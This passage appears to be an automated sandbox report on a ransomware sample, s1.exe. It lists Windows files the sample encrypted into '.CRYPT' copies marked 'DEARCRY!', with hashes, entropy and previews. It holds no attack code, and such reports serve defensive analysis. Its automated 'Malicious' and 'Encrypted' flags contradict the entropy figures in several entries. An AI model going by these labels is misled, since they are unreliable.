                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\f054e029-5f33-9d9d-e43e-e95dd6c40e79.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3848
                                                              Entropy (8bit):7.950729692961719
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:C09DCCA3B0CE6D7A50257E81B9777D80
                                                              SHA1:500655D5FE064436F6F070F1E1C62CEEF27F7083
                                                              SHA-256:3F8587129C20F5BA9BE6FFB0AEC4D75ACD1CA720E4D64BDBF59CCA598B2227B4
                                                              SHA-512:EFF06C37F56911DE74B620681CDE8E70313C8788F4FB1AFCFB4A1523656BCA15710DD46A1834F1B9CA13D67CDC67286BD8EFCF85871B2FEA2345F590B8E9C9B7
                                                              Malicious:false
                                                              Preview: DEARCRY!......H..*.LoL...r.Q<E...!v.o*"]Rf\....l....K.N....V.8<....N...\....t.\O..)0..s..K.F....:..R...#h...P4#...V.I....k.7....^`.{/..+|..y.....k{s.%.U..5.....d.n|M........p.<.=.sI.c...|\../*.5..e\.gb.'.}...PY.A....E.?.$.....P.y.h...xD.\.<kR..dNR.._............... .'.E.Q..V.m.~=./.v?..'...0c.. `...........>.,........`...t...;Z..9....!~..9-.~..hUh.!-.s%@..W..w...z.... X..BD._...:+...S..l....#.....O.Y.p......x.}@...g..=.Z.1.&....KuD......byk..f..6,.J.)(.~.....WO...V...3...625..a[.x..?.B.z...x..O..~..=/.e.....x'..T03......5>z.3@...8..W..X.w~...vv...hN+..X..a..j.R.5.....R..[......-..Ek.....[.,-..G.R..5."^&=.X..E...z.].....v,m.....E).5?..}.E..F\.....|...p"..x.X..P.......h....m......{.G.F.9.Q.Z....].......L.*.E.....1.c.-.......2.~TvW..q3..c[.=8...Zd..0).K..*Zz.f..p.......N.-......|.:...G.........[...\.fbLRP.F..H...u..8...{.8....s<N.).|JW.$.Qj.".\..gK...l?..U..9..,t=9S=fU.TgZ%Y....^ ..h....%...0 (.....0K."-....E@.y>..;.;D..Q.Qj..9...}.
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\f1bb69b5-a7d1-df8f-5820-49f387fd5d2e.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3239
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:341C045D9F1EFC36DCB143C0D669C9D0
                                                              SHA1:2F6203A9DC87CC6B01C80BF75AE8B86564EA3E08
                                                              SHA-256:FA2D26AEE9436EE0A0858A3D5B9DCBC135F916A838146E6D68F39DD9353F3558
                                                              SHA-512:3D1372B0745F5E22BA390960FA11FCAC2077B33A16DA32AD8EDF1937D75CB4EA2D1AE0FB4C6C5A7FF2A34DBBC3ACB6DE565F73247D6417E11D986F5F21708DA3
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\f1bb69b5-a7d1-df8f-5820-49f387fd5d2e.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):3528
                                                              Entropy (8bit):7.950294713159852
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:A138A612BF596C09D22D18F8E6406FEF
                                                              SHA1:8EF7576CB29B944F5F7E3116115AEE379D451F37
                                                              SHA-256:6F61DD256D6F3E7987D5871583EECBF1FB596B662E702ACA7F2E6F758CFE23D1
                                                              SHA-512:5688AADAA2244B3CC900DF5F3354C9B11170CCAC9D7FB409563258FF839A1F85957148C25D8643F292EC881CCD6F8D0916613578D7910F9AB7F767B7792C10D2
                                                              Malicious:false
                                                              Preview: DEARCRY!....T]........L.U...m.L.Z.*u.....4..*..a.@....e.....Z.6i.L0;Ye..P. U..C&..!.A;...n..g...m...yxI@.MaY..\...N=.5'{~....#...c.n.pO.;.{.7.I[zZ;..[..?.o.(.-.,.9Y{....5..aa.Cn..&..F.`.2..'.Wq...n.al.DP.c..Y..2O.....co{..~/.i]..?.\.......*\-v.u....."G..9.8.............?.......Z.D.v.>.....b.0..*h.....H..;E..\...ob%?/...bFX*.@-.L.A.(..0..3.3.>I5..Z....)&..'.L$M.....O.......q.d.5.rn.].v@4..*k.i........9.?....D..D.....4h^..;!..FF..H0.p)].c.f..i.{....%{,.=.EweG*..Q.J0..&.t.MFR....!...]:....h"J..MP.....E....KF3.\..@..Rk..3.O$8.../..=..........Q.9"..^f.w.8.,F...*I..W..-5 ..q.+..BB.tSf.-.c'O.`.x4d.N./.5..r..9........d<k.-.2...i'$...tpP=3>..{............<..^W..>..H..S.5X.p.BI..8.D....R....,pL..F_.<0.W..X.K....K.%3....,7....g.n.'..._yp.....;.)>.f.(..a..@;..@L..Ag.}...g...Ed....B..5....h..u...Gm..q1..afY.FR....I..;m.F..#..a;..0>....V...i...Y*.P.8.Z..f.$.T,$..R..*...sNl-.v..l^zd.U.D..@......QU.4..Z.'...jW$.. ........&...F......"...kxe.q......n.F....
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2636
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AE849CD811064647CAD9A12678AB014A
                                                              SHA1:6C43EB7941B31F6BDA29F5E0F8CD9A6A6FB2709B
                                                              SHA-256:CE0774A162E8DBA2EFBE810C9C09FAB48D893271132A3E0D477CAC8D70AD7B36
                                                              SHA-512:083CB3A3861D1B30087A23C8B85F109167CEEEFE971F11494098147B66BFF4BF19E89DFA7FA0002CC78B0DD9129D98232CFC691B753961DBB9C6189B62A0D9F1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\Apps\fc93b452-8a84-dede-3b7a-0fc9413c4592.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):2920
                                                              Entropy (8bit):7.930220896891836
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:9714979DB679680D50BFE6702318E90A
                                                              SHA1:C3A149AEFC693130BB548C33AF995F5B25B1B29F
                                                              SHA-256:0A50CB5D2EC9FE87E4EF94A71E4F7DD1DC7E3A039A62FD3594CEB3750142355E
                                                              SHA-512:5E66A68A06F56BF3D01AE23C6E10495061DD34DE9D4D5D670C6DE954D4C5E28B820CE1A433B193AE9C8F9189EE013661CD6568607A31217B3DDA5989B5F53C94
                                                              Malicious:false
                                                              Preview: DEARCRY!.......=.\.Hc...}...1p2.iw.J.X(........n.9D..F..(.....=.^#.z....%r...O.../[U+...]x....)\.|V..<.U7...M.4.'..........X..OD.q..+......8....cH2lMMcq.../.c0.5S...~w.[$Jnf[..k...rN(.$.V.9..=V.y8.6..Y.....h..S......BY.kMt.F...R(..e.~..9.).lYx.&.@..J'.@....L........... v,....<..........W3....t..O[t..Q..V..n..V...P............^=1..O.d...;v....5..[...........K..\.D.+4t........r..1..ot.T..on.z..2....`;1.f.Awt;.1...'J.Xbd.......OX5WN.....V.b..k.q..6`.{....Kx.F....%.....;b....wa...|..O..$.Z..NT=.B.... R..i. ...6D:..t.]...O...pr.......u.X..`okz..^...x;;.A[.....!..u.,....?....n.E.".{..FQIpI...."H.!.'o..x...fp.8.g...O..x?..M....?11.J.CA...f....<Wh.;...`..X...2.KP..,z:.p.....EWG.Zm...G.Xj.....[.u(&.{-GMw.C..=....).....v..\O..M,..(.5....J......`..9...-./.....N..I.X&.L...y.h.w.....5..(.....Qk)5.7...Y....U.y-...|.f.......uQ.H...a..x...}d.w......?v.X2..........9......'q......9..H=qE.#7!...x..oz..u.....g..&.<..d.\=.........Nio.u,..:.&.."...R.d...$.v..>]
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\KeyHolder\61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8.xml
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):24024
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:7B7EC0F4354DD72FCF2C0AEF05AB383B
                                                              SHA1:2290622F210771F6B6BF2E6A445193CA73688F27
                                                              SHA-256:1B3FD2D523ADCE6232ABE80DDC15CA34E05249977AB29657D48C58821010A8BD
                                                              SHA-512:7F9617A0818DAAE6035BB65C06CA33D7AAC57ADFE6A645B6A29281FDD803AD0795BA7887AD02C15B7EAED23DAEBC0459F3D7800F5A416F454B5106A2FDA82F09
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\Archive\KeyHolder\61afd6a2-d7c3-8d25-36c2-0c2c47e3aca8.xml.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):26304
                                                              Entropy (8bit):7.990885663765603
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:ED08F306F2DEB014DDEEAB5F740267C7
                                                              SHA1:2C2E736B87C12E6F67D7A749EB13D4A3CBE5E0C4
                                                              SHA-256:75A6A919B11D3C092FA751CFEE6233948325BEE9A35BB22F5CDFF6F0ED3385B8
                                                              SHA-512:3591ECB2B7054207F72A4F9C231367E29E9B521B58EB6F2093FFA4C3DE3BF601E25E5C59E269F0472395390FBA68FC8F447D043E3F9DF308E22DC193C517BEE4
                                                              Malicious:true
                                                              Preview: DEARCRY!....ns....r.Q).`.lb.{&J.H..v.*..$.....`8.3....+9.g%....Hem..8b..........Z.......>...A....7.^s.A...l....A.$..o..%N..[...E.}......PT.g....Fr.X"Y.hg....D...[...`.......Ka.Y.......M.{.[.@._v.M&8..qi..Z8.9....D!.....Nwh.7P.`g#q.....b..s.v4.....D'...!..I.............s.* ...|.E+Jf.....N....%1U.d.(.M<......\8.. .T...A4.9r7.c4722....D....].2....T....V$...%.Af.....|...{Dh4.<..l=\.;...g..e&...6.p.d.`....>,../E......z3.Y..M...kU.. ..v..t...T7\.K=q..{....4.._..f..n5r..yF....b}......M....I~.F.~....XVa.I,F.CK]`...Ms\X.U......pA.n...s.}+.%.&..m...,-)5......~...n&>..T.v.;Z.....0H..V..5.c.8..'b.p.~..e..*f..=..y= 7.(..}..-..:.@.H.X@/....i#OA.}......u...@.... .1..1.,.n..w..!.....Z.|..P4S..hk..m.......w..6.P.....3'...!.-.2{9.z.Z;.-.(.x;D...N:J..1..U.e.g.b.?....>...@)..fq<B..b...R...:.....lB.K.....W./.(...\-w...`.N.y....L.$.*..:...^,D....z.}sx..kG,.......Gm5..}.YDm...`./sr.1.ifeg...|....CR!c....Y.5.<.....0....WVJ2&.6....Z1Fd.2$w\M....#UP:.]D.'..M'...
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat.bak
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):721756
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DBD5045949F52B2A9C2A639FDDFFF098
                                                              SHA1:09F635732EEAAA5FBD41FBAFF72EE8123620DC11
                                                              SHA-256:5C4A097BEBDADB34C6A2633B37265FD5C9D424F652C5E13E4B84674F683C4CCD
                                                              SHA-512:C563F7D2CA2776F19887E179230D8A0EE76D05B4E704BFBC1A011B892C94801C0C13DB076A2F18BACC64D1D4683CDC1F82D5B0D888FF5518D7A9014A8853B17F
                                                              Malicious:true
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\ClipSVC\tokens.dat.bak.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):722040
                                                              Entropy (8bit):7.9997649025639985
                                                              Encrypted:true
                                                              SSDEEP:
                                                              MD5:6D43A80DF1211AD3C26463CB77655C7C
                                                              SHA1:8134D2CE8987272ED8927A82B78650B6612FE3DA
                                                              SHA-256:54AA4033C6D1863B69EA50E8E46A47F349086DACF94A0BCE7D825AE8D3EC2535
                                                              SHA-512:EC8884FC0C7CD6CE849E27EA1B9F28D80B2777E362B01825AFF36D30DE47B83983766F9C23319B3F0F7B7FBF8A587AC3F0266E6D0E2268DCFC05504C857E5455
                                                              Malicious:true
                                                              Preview: DEARCRY!.....4ExF"`.4.$..l\..E.8..:8.|....V.......?.~6..E.a.........@V.g....Sl`.&......H..Q.....h.`..7qW..z..=G.e+`(.r..O.}.k.........G.-.+..D._..>...u..$...X.9z2<-1.tXT.......8..[.I`..3.#ma.5....6.2m..Ij.~....q*..}N.wy.9l..y.m..U.~i..[.o....BMt....U.....Y.w.y.....\.............*..C....y._B.C......n.]..4......b......$.X~...*/....w...6*.E...h.*..i..]h...e3..t..E.9.*lz..r.. .%...mM..AW=.^....VO....m.nu.s.T....[..}WA...m.d...7..a.1..uq..5.i....vR.|...'oF4..*..q....H............MrP.....}.4Q..?.......P.o.2..`...Z..4E.........P,z.....&it).Hu....M.ZIYt....W.t>|..4B.(.d~m..4..W.....&..P(i$....}R:oW...k.g..}`X.....J....cU..$FkQ"...URC.......f,K....%......~.+...a.m..L.*......px.D4B'...a.'AW2y"..1.*.....o .7.w..N".b.QlT)...8.:1....e....u..{i.*|H,.+1.qV..)F....`.5...k0A....ZV..S.7...0<"hbQ.i..9....M9.613....W.78...SMt.M8..<.X.}.Y......2..w.%8.n].\L.../xf.....=.T._{....=&1u\..,......5i......K.a9.b...g.....)...FW.,.....a....Q.m.HU.....<6..V<..u.....f.."..D...
                                                              C:\ProgramData\Microsoft\Windows\Start Menu Places\desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):576
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:DCCC781A9692F3F37CD61A0137E23445
                                                              SHA1:E6BC6987B0F49D8B73D0DFE93F4CC175D18D2DB5
                                                              SHA-256:F7B145D7A88BF1E9797EE9DEE992EBCA6882E9CFB418C518A8AA0B6A29D94F4C
                                                              SHA-512:884DA25995C7F01DE615546691A75A796EC66E356C6DE519A8C284C446B92B38A9ACF7A548D4FDD5D41F24F2F941E94279904BB1BEE7964DE7830E1926657622
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu Places\desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):872
                                                              Entropy (8bit):7.770153183773816
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:AD98F5B025E88C2F2EC09AA45382A05C
                                                              SHA1:3E6AB7A0C0EAACC29D92D30A08FD61AF8D379B1F
                                                              SHA-256:A7881A41963C8B40BAF4D368B8E331F7E622FA2165118C7B98E0B2BFB92DB00A
                                                              SHA-512:E155125488A7658BB200286B90D7944F3CDF75D6A2C7E87673C1B9BB8B665B195EA9974A25D9648F7A9EEB20D62DA7BE599EC3BF6DAB31B621D7053538B5C86E
                                                              Malicious:false
                                                              Preview: DEARCRY!....l.n.x!..fO...$.l......K..2(...).q... {..u..e.d2..b|.~..?...../i.C...wS...&..m..J....o..D.f}.xXd.8u.}..Y..:...e..x........d.O......hQ.|....FTb'.0.....J.p.ZwM.b...9.K......7.e....S..,...].#...c&.'....{.0.."K......1...z..5..ngPP.|I../.=.......X.....@.......s.....x0...Z..S...l.Q-%0.X..B.;.@H.....*.q?Iv......5..;.0........j2..e.Hj.......)..qRu.A`......P~...].8......e.?.}yQ..I.?I""..M...3m..Xe$.^j8.......T#.....7&.g<#..i|.ZY..Kw{.nR./.J.&%..0.z.s.{y.<'.G..T.....S'.....59.y..{..3A...Zz.1H....ZZxT.e...|.EELg..Ij_%}.........{r......".\.$.&...M..........d.._-2\z]....L.........!.*.7:<W.....2].7....{.C....Tme".:N..0fo....3.G@....^.e.S.b...j..g...s|m.....7)z..<..-......^...j,.~...U&JW.k.T.........G.d...3..*.t..p>...9....>s^...hpL.Y..mZ...=H.....=...O3....\dUQlE.)=.g..yu.F.P....w...ug...H.US.g-...",...a,x.1.or..e...VC...
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):370
                                                              Entropy (8bit):0.0
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:D9F0A9D8ABC914943BDE2E21B6E810B1
                                                              SHA1:23B78362ED8FBF9EC778507E091D1EDB82C802AC
                                                              SHA-256:C3FDCB51036653B9FC643DEF9DA6B1992A45485D21211C97A32F7ED451A6A1E7
                                                              SHA-512:B67FB9CB4A407016D50E508F4742004656B6F7F345C8F058D89B22A5248B442EA449B7292458ED9FC3220E6CBFD91C8E8B7CF3B969DBC88E16A6B004853CD6E1
                                                              Malicious:false
                                                              Preview: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                              C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessibility\Desktop.ini.CRYPT
                                                              Process:C:\Users\user\Desktop\s1.exe
                                                              File Type:Unknown
                                                              Category:dropped
                                                              Size (bytes):664
                                                              Entropy (8bit):7.655783496267525
                                                              Encrypted:false
                                                              SSDEEP:
                                                              MD5:6EE9B3C688515EDE192B8ED1FD6F6091
                                                              SHA1:089F025C4C2AEE8C262D69A0D5B8E65DAA4BD4F9
                                                              SHA-256:E595F8F69BB234B652D57C645D33BCB4ABC5083FFE5307D6F83D695C8039F4DF
